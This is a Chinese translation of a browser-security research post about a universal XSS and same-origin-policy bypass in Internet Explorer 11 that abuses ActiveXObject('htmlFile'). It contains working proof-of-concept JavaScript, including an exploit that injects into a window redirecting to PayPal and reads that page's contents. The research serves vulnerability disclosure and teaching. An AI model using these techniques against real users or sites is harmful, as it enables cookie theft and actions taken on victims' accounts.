原文鏈接:Broken Browser
原作者:Manuel Caballero
譯:Holic (知道創宇404安全實驗室)
今天我們探索的是從 Internet Explorer 出生以來一直存在的功能。該特性允許 Web 開發者實例化外部對象,因此被攻擊者濫用。你能猜到我們在說的是什么特性嗎?那就是 ActiveXObject 了。
即使現在它受到了諸多限制,我們已經不能再愉快地展示 Excel 電子表格,但它依然有很多玩法。我們將構建一個靠譜的 UXSS/SOP(同源策略) 繞過,它將允許我們訪問任何域下的東西,當然包括 cookie 和你可以想象到的東西。
然而, bug hunter,不要以為 ActiveXObject 就是另一個 UXSS 而已,他對攻擊者來說是一個完美的元素,因為它有著無數的漏洞,我們將在本篇下面提到。我真心建議你研究探索這個對象,你會意外地發現很多新的東西。
各種渲染 HTML 的容器
在瀏覽器中渲染 HTML 有好幾種方法,我首先想到的就是 IFRAME 標簽,而我們用 OBJECT 甚至 EMBED 標簽可以做同樣的事情。
其實,有一些對象允許我們在邏輯上渲染 HTML,但其并不可見。比如:implementation.createDocument,implementation.createHTMLDocument 甚至 XMLHttpRequest 都能返回 document 對象而不是 text/xml。
這些 HTML 文檔與 iframes/windows 中的文檔有很多相似之處,但是并不包括所有內容。例如,其中一些不能執行腳本,其他的沒有任何關聯窗口,所以他們缺少了像 window.open 這種方法。換句話說,這些文檔都有它們的限制。
但 Internet Explorer 還有幾種渲染 HTML,我最喜歡的便是借助 ActiveXObject 實例化一個 "htmlFile"。這種類型的文檔也有其限制,但至少能運行腳本了。請看下面的腳本。
doc = new ActiveXObject("htmlFile");
這個 ActiveXObject 創建了像 WebBrowser control 這樣的東西(基本類似于 iframe),==并返回對其 document 對象的引用==。要想訪問 window 對象,我們要使用之前的 parentWindow 或者 Script,因為此處不支持 defaultView 。
win = doc.defaultView; // Not supported.
win = doc.Script; // Returns the window object of doc.
win = doc.parentWindow; // Returns the window object of doc.
我是 “Script” 的粉絲,因此我用了這個方法。順便說一句,我很好奇這個 ActiveXObject 的 location 是什么。

這很有趣!對我來說,下一個問題就是:此文檔的 window 對象是不是和我們正在處理的是同一個對象?我的意思是,它有一個真正的 window 還是說與其父元素/創建者共享。
// Remember:
// win is the window object of the ActiveXObject.
// window is the window object of the main window.
alert(win == window); // false
由此我們得出結論,ActiveXObject 的 window 是不同于主窗口的,這意味著它有自己的 window。我想知道現在誰是它的頂部(top)。難道 ActiveXObject 認為它在頂部?

哇!win認為它屬于頂部(top),我不禁浮想聯翩。它或許存在 XFO 繞過漏洞,或者允許不安全的請求(SSL 頂層無需 SSL)。寫下這些想法!至少這是我的習慣:有趣的東西浮現于腦海,我會馬上注意到,所以我可以持續關注原始目標,而不讓這些想法消逝于大腦的灰質海洋。
好吧,我感到好奇的另一件事是這個文檔的域。那么,它到底是什么?
alert(doc.domain); // The same domain as the top page
它返回了與主窗口相同的域,這沒什么大不了的,但值得更多的測試。思緒在腦海中流動。
恢復 document.domain 的 top 屬性
關于這一點,我的問題首先是:如果我們改變主頁的 base href,然后實例化這個 ActiveX,會發生什么?它會具有與頁面相同的域還是來自 base href 域?
這個想法無法實現,但是在創建對象時,不要低估了 base href,因為它曾經產生過奇效,而且將來可能會用到。看看我最近是怎么實現 SOP 繞過的。
總之,我試了另一種選擇:在不同域中的 iframe 創建 ActiveXObject。就是說,相同的代碼,現在可以從不同域的 iframe 中執行。
<!-- Main page in https://www.cracking.com.ar renders the iframe below -->
<iframe src="https://www.brokenbrowser.com/demos/sop-ax-htmlfile/retrievetopdomain.html"></iframe>
<!-- iFrame code on a different domain -->
<script>
doc = new ActiveXObject("htmlFile");
alert(doc.domain); // Bang! Same as top!!
</script>
我很驚訝,ActiveXObject 使用頂部(top)的域而不是 iframe 創建的。Bingo!

[ IE11 Proof of Concept ]
當然,取回主頁域不是完全的 SOP 繞過,但它是一鐵證,說明我們正處理一個“感到困惑的”瀏覽器。問題推進至深,直到 IE 放棄。用一點 JavaScript,帶著激情與堅持,我們會做到的。
傳遞引用至頂部
我們現在的目標是與 ActiveXObject 共享頂層窗口的引用,以查看它是否有權訪問。如果它的 document.domain 與頂部相同,它應該能夠訪問!但此處還有一個挑戰:從瀏覽器的角度來看,這個 ActiveXObject 沒有完全初始化。這意味著我們不能創建變量,也不能更改任何成員的值。好像一個 frozen object,你不能向其中刪除/改變任何東西。
oc = new ActiveXObject("htmlFile");
win = doc.Script;
win.myTop = top; // Browser not initialized, variable is not set
win.execScript("alert(win.myTop)"); // undefined
在常規窗口中它理應有效,而使用 ActiveXObject 則不然,除非我們使用 document.open 初始化。問題是,如果我們初始化該對象,IE 會把它的域設置正確,無視我們的小把戲。那就來看看這個吧,弄清我的意思。
doc = new ActiveXObject("htmlFile");
alert(doc.domain); // alerts the top domain (SOP bypass)
doc.open(); // Initialize the document
alert(doc.domain); // alerts the iFrame domain (No more SOP bypass)
那么我們如何將頂層的窗口對象傳遞給 ActiveXObject 呢?仔細思考。每個 window 對象都有一個非常特別的地方,即它在其他任何地方都是可寫的。它是什么呢?opener!是的,window.opener ,我的朋友,來試試吧!
doc = new ActiveXObject("htmlFile");
win = doc.Script;
win.opener = top;
win.execScript("alert(opener.document.URL)"); // Full SOP bypass

[ IE11 Proof of Concept ]
Yes!使用 opener 的技巧行之有效。現在,無論我們的域怎樣,我們都可以訪問到頂部的文檔。我們的 iframe 可能在另一個 iframe 中,或者像俄羅斯套娃一樣無限嵌套與不同的域中,但它仍然能訪問頂部(top)。這就是力量啊!
那么,我們得到了一個有效的 UXSS,但仍然存在一個問題:它需要加載到 iframe 內,我認為沒有目標站點會如此慷慨,會在他們的 iframe 中渲染我們的小把戲,對吧?但想到當今展示的橫幅廣告:我們在 iframe 中渲染,并且它們可以訪問頂部元素!這意味著 Facebook 廣告,Yahoo!廣告和任何在 iframe 中運行的不受信任的內容都可以訪問主頁面。如果我們在使用 Facebook,廣告可以代表我們發布內容,訪問我們的聯系人和 cookie 而沒有限制。
我們應該更進一步,找到一種不借助外界的方法獲得網站的 cookie。我們要怎樣使之在任意非合作站點生效呢?我們可以在沒有 iframe 的網站中實現嗎。許多解決方案出現在我的腦海,而最簡單的是:[重定向] + [線程塊] + [注入]。這種技術超容易,但它值得小小的解釋一下。
任意內容注入
有一種在目標網站有機會加載之前,對任意窗口/iframe 注入 HTML/Script 的方法,而無視其域。例如,假設我們打開一個帶有服務器重定向至 PayPal 的新窗口。在重定向發生之前,我們仍可以訪問該窗口,但一旦重定向加載了新的 URL ,我們就無法訪問了,對嗎?實際上,當重定向發生時,IE 渲染新內容之前銷毀了 window 的每一個元素。
但是,如果我們在頁面中注入一個元素,在重定向之前會發生什么?更多的,在注入之后,我們阻止線程,而不給 IE 以機會銷毀對象,但是讓重定向發生,會發生什么?新的網頁將保留舊的(注入的)內容,因為 IE 無法刪除它。
在這種情況下,我們使用 alert 作為線程攔截器,當然還有其他方法來實現同樣的效果。讓我們回顧一下在寫代碼之前需要做的事:
- 打開一個重定向到 PayPal 的新窗口。
- 重定向發生前,注入一個 iframe。
- 重定向發生后,從 iframe 之中創建 ActiveXObject。
- Bang!僅此而已。現在的 ActiveXObject 已經具有與主窗口相同的域。
這里是有效的代碼:
w = window.open("redir.php?URL=https://www.paypal.com");
// Create and inject an iframe in the target window
ifr = w.document.createElement('iframe');
w.document.appendChild(ifr);
// Initialize the iframe
w[0].document.open();
w[0].document.close();
// Pass a reference to the top window
// So the iframe can access even after the redirect.
w[0]._top = w;
// Finally, once Paypal is loaded (or loading, same thing) we create the
// ActiveXObject within the injected iframe.
w[0].setTimeout('alert("[ Thread Blocked to prevent iFrame destruction ]\\n\\nClose this alert once the address bar changes to the target site.");' +
'doc = new ActiveXObject("htmlFile");' +
'doc.Script.opener = _top;' +
'doc.Script.setTimeout("opener.location = \'javascript:alert(document.all[0].outerHTML)\'");');
[ IE11 Proof of Concept ]

bug hunter,不要在此停頓。繼續探索 ActiveXObject,因為它充滿了等待你你發掘的對象。而且你可以把這個 PoC 變得更干凈,用更少的代碼嗎?你可以不使用 alert 建立一個線程阻塞嗎?祝你好運!
我說了好運?哦不,抱歉。我的意思是:繼續下去,直到你找到 bug。如果這對你來說意味著運氣,那么祝你好運!但對我來說,這意味著激情和堅持。而唯一需要的就是找到安全漏洞。
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/211/